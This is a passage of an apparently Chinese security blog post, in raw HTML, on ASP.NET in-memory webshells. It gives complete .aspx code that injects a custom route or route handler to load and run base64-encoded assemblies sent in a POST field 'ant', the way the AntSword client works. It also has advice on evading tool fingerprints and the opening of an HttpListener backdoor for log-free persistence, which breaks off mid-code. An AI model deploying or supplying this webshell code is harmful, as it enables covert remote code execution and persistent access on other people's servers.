PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GetRouteData</h5><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">重写GetRouteData方法插入自定义逻辑并在RouteCollection中添加路由：</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=&#34;C#&#34; CodeBehind=&#34;test.aspx.cs&#34; Inherits=&#34;WebApplication3.Models.test&#34; %&gt;&lt;%@ Import namespace=&#34;System.Reflection&#34;%&gt;&lt;%@ Import Namespace=&#34;System.Web.Routing&#34; %&gt;&lt;%@ Import namespace=&#34;System.Diagnostics&#34;%&gt;&lt;%@ Import Namespace=&#34;System.Web.Mvc&#34; %&gt;&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&lt;script runat=&#34;server&#34;&gt;    public class MyRoute : RouteBase    {        public override RouteData GetRouteData(HttpContextBase httpContext)        {            HttpContext context = HttpContext.Current;            String Payload = httpContext.Request.Form[&#34;ant&#34;];            if (Payload != null)            {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + &#34;.Run&#34;).Equals(context);                context.Response.End();            }            return null;        }        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)        {            return null;        }    }&lt;/script&gt;&lt;%    RouteCollection routes = RouteTable.Routes;    routes.Insert(0, (RouteBase)new MyRoute());%&gt;&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;&lt;head runat=&#34;server&#34;&gt;    &lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&#34;HtmlForm&#34; runat=&#34;server&#34;&gt;    &lt;div&gt;            &lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.30277777777777776" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f340716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUias4pZLAjnvbLJCFus3RLhOjFjbQfuia9Z10ARF26xdNAhvBktgA59cjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.33755760368663595" data-s="300,640" data-type="png" data-w="868" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b9911125&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3Lqk8VIvlMEZRicR45X9DnPD1qDJ9jPM1QvhZZicqx6Xh9gMkKDyxhlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">实战中为了避免蚁剑等cn工具指纹可以把蚁剑反序列化加载payload的语句换成和filter中一样用process创建进程执行命令的payload或如（<a href="https://paper.seebug.org/1953/#0x07）改成加载我们写好的assembly，但（https://www.crisprx.top/archives/552）这篇文章复现直接在controller中写route实战完全没法用，很离谱" target="_blank">https://paper.seebug.org/1953/#0x07）改成加载我们写好的assembly，但（https://www.crisprx.top/archives/552）这篇文章复现直接在controller中写route实战完全没法用，很离谱</a></p><h5 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GetVirtualPath</h5><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">改一下函数就行了，没什么区别</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)        {            HttpContext context = HttpContext.Current;            String Payload = context.Request.Form[&#34;ant&#34;];            if (Payload != null)            {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));                assembly.CreateInstance(assembly.GetName().Name + &#34;.Run&#34;).Equals(context);                context.Response.End();            }            return null;        }</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">执行顺序：<strong>GetRouteData&gt;Controller&gt;GetVirtualPath</strong></p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加Route类</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">实现IRouteHandler接口需要实现GetHttpHandler方法，需要返回一个实现了IHttpHandler的handler</p><h5 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GetHttpHandler</h5><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加route方式略有不同</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=&#34;C#&#34; CodeBehind=&#34;route2.aspx.cs&#34; Inherits=&#34;WebApplication3.Models.route2&#34; %&gt;&lt;%@ Import Namespace=&#34;System.Web.Routing&#34; %&gt;&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&lt;script runat=&#34;server&#34;&gt;    public class MyRoute :IRouteHandler    {        public IHttpHandler GetHttpHandler(RequestContext requestContext)        {            HttpContext httpContext=HttpContext.Current;            String payload = httpContext.Request.Form[&#34;ant&#34;];            if (payload != null)            {                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String((payload)));                assembly.CreateInstance(assembly.GetName().Name + &#34;.Run&#34;).Equals(httpContext);                httpContext.Response.End();            }            return null;        }    }&lt;/script&gt;&lt;%    RouteCollection routes = RouteTable.Routes;    Route route = new Route(&#34;test{page}&#34;, new MyRoute());     routes.Add(route);%&gt;&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;&lt;head runat=&#34;server&#34;&gt;    &lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&#34;HtmlForm&#34; runat=&#34;server&#34;&gt;    &lt;div&gt;            &lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3674698795180723" data-s="300,640" data-type="png" data-w="664" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4b0b8e35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1YJAick1CqvfrISPDzCBXF3VAT1Z2cSpZ3b0AUEtPnSFhgLkD1gan1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加成功</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=92764de7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiajmavse6vS6IzO6uCicNzMtGIrF7Xj47Ft9lWkc3hJsr6MLxCxTgOGdg%2F640%3Fwx_fmt%3Dpng"/></p><h5 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">IHttpHandler</h5><div style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在自定义route类中实现一个handler嵌套类，实现IHttpHandler&#34;接口，把函数操作放到自定义handler里面，然后补充一下需要的构造函数即可，设置&#34;IsReusable&#34;属性以指示处理程序不可以被重复使用。<p style="font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(255, 100, 65);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">public RequestContext RequestContext { get; private set; }</p>定义了&#34;MyHandler&#34;类中的一个属性&#34;RequestContext&#34;，它是一个只读的公共属性，可以从外部读取，但只能在类的内部进行设置，即设置属性的访问器是私有的。RequestContext是一个包含有关HTTP请求的上下文信息的类。通过在&#34;MyHandler&#34;类中定义这个属性，可以获取请求的上下文信息,如访问请求的URL、HTTP方法、参数等信息</div><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=&#34;C#&#34; CodeBehind=&#34;route2.aspx.cs&#34; Inherits=&#34;WebApplication3.Models.route2&#34; %&gt;&lt;%@ Import Namespace=&#34;System.Web.Routing&#34; %&gt;&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&lt;script runat=&#34;server&#34;&gt;    public class MyRoute :IRouteHandler    {        public IHttpHandler GetHttpHandler(RequestContext requestContext)        {            return new MyHandler(requestContext);        }        public class MyHandler:IHttpHandler        {            public RequestContext RequestContext { get; private set; }            public MyHandler(RequestContext requestContext)            {                this.RequestContext = requestContext;            }            public void ProcessRequest(HttpContext context)            {                string payload = context.Request.Form[&#34;ant&#34;];                if (payload != null)                {                    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(payload));                    assembly.CreateInstance(assembly.GetName().Name + &#34;.RUN&#34;).Equals(context);                    context.Response.End();                }                context.Response.End();            }            public bool IsReusable            {                get { return false; }             }        }    }&lt;/script&gt;&lt;%    RouteCollection routes = RouteTable.Routes;    Route route = new Route(&#34;test{page}&#34;, new MyRoute());     routes.Add(route);%&gt;&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;&lt;head runat=&#34;server&#34;&gt;    &lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&#34;HtmlForm&#34; runat=&#34;server&#34;&gt;    &lt;div&gt;            &lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">注入成功</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.262037037037037" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=834b5d9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiavKDrkxXRRVLHRCB0waP8wfpmiauA0gbZS9aKJzgh8UBvqx6rXmrqwTQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">listener</h3><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">前置条件</h4><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用条件：system权限</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">实现原理：本质上是重新启动了一个web程序并进行端口复用（类似于python直接起了个simpleHttp），主要用于维权，因为是攻击者启动的Server所以不会在原有的Web中留下日志</p></li></ul><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">通过提取HttpListenerRequest，HttpListenerResponse的参数来构造一个我们可以用的System.Web.Request跟System.Web.Response对象，然后作为参数实例化一个System.Web.HttpContext</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">利用HttpContext.Current获取到当前Web的HttpContext；创建一个新的Thread，并把当前Thread的HttpContext传递过去防止进程终止</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Diagnostics;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Text;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.IO;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Net;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Web;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Collections.Generic;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Collections;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Threading;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">SharpMemshell</span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Main</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> args</span>)</span>    {        HttpContext ctx = HttpContext.Current;        Thread Listen = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Thread(Listener);        Thread.Sleep(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>);        Listen.Start(ctx);    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">SharpMemshell</span>()</span> {        HttpContext ctx = HttpContext.Current;        Thread Listen = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Thread(Listener);        Thread.Sleep(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>);        Listen.Start(ctx);    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">log</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> data</span>)</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> logfile = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;c:\\log.txt&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (!File.Exists(logfile))            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] output = System.Text.Encoding.Default.GetBytes(data);                FileStream fs = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> FileStream(logfile, FileMode.Create);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//为文件提供一个 Stream，支持同步和异步读写操作。</span>                fs.Write(output, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, output.Length);                fs.Flush();                fs.Close();            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> (StreamWriter sw = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> StreamWriter(logfile, <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>))                    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*                     * using语句一开始定义了一个StreamWriter的对象，                     * 之后在整个语句块中都可以使用sw，                     * 在using语句块结束的时候，sw的Dispose方法将会被自动调用                     *对于任何IDisposable接口的类型，都可以使用using语句                     *                      * 托管资源：由CLR管理分配和释放的资源，也就是我们直接new出来的对象；                     * 非托管资源：不受CLR控制的资源，也就是不属于.NET本身的功能，                     * 往往是通过调用跨平台程序集(如C++)或者操作系统提供的一些接口，                     * 比如Windows内核对象、文件操作、数据库连接、socket、Win32API、网络等。                     *                      * 假设我们要使用FileStream,使用try…catch…finally…这种做法，                     * 因为它的实现调用了非托管资源，所以我们必须用完之后要去显式释放它，                     * 如果不去释放它，那么可能就会造成内存泄漏。                     *                     * 一个标准的释放非托管资源的类应该去实现IDisposable接口                     * 要实现IDisposable接口，我们其实应该这样做：                     * 实现Dispose方法；                     * 提取一个受保护的Dispose虚方法，在该方法中实现具体的释放资源的逻辑；                     * 添加析构函数；                     * 添加一个私有的bool类型的字段，作为释放资源的标记                     */</span>                {                    sw.WriteLine(data);                }            }        }        <span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span> (Exception e)        {            Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;log error:\n{0}&#34;</span>,e);        }    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>&gt; <span style="color: rgb(97, 174, 238);line-height: 26px;">parse_post</span>(<span style="line-height: 26px;">HttpListenerRequest request</span>)</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> post_raw_data = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> StreamReader(request.InputStream, request.ContentEncoding).ReadToEnd();<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//实现一个 TextReader，它以特定编码从字节流中读取字符。</span>        Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>&gt; postParams = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> Dictionary&lt;<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>&gt;();        <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>[] raw_Params = post_raw_data.Split(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;&amp;&#39;</span>);        <span style="color: rgb(198, 120, 221);line-height: 26px;">foreach</span> (<span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> param <span style="color: rgb(198, 120, 221);line-height: 26px;">in</span> raw_Params)        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>[] kvPair = param.Split(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;=&#39;</span>);<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// key-value-pair键值对</span>            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> p_key = kvPair[<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>];            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">value</span> = HttpUtility.UrlDecode(kvPair[<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>]);            postParams.Add(p_key,<span style="color: rgb(198, 120, 221);line-height: 26px;">value</span>);        }        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> postParams;    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">SetRespHeader</span>(<span style="line-height: 26px;">HttpListenerResponse resp</span>)</span>    {        resp.Headers.Set(HttpResponseHeader.Server, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Microsoft-IIS/8.5&#34;</span>);        resp.Headers.Set(HttpResponseHeader.ContentType, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;text/html; charset=utf-8&#34;</span>);        resp.Headers.Add(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;X-Powered-By&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;ASP.NET&#34;</span>);    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Listener</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> ctx</span>)</span>    {        HttpListener listener = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> HttpListener();        <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (!HttpListener.IsSupported)            {                <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span>;            }            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> input_key = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;key&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> pass = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;pass&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> nodata = <span style="color: rgb(152, 195, 121);line-height: 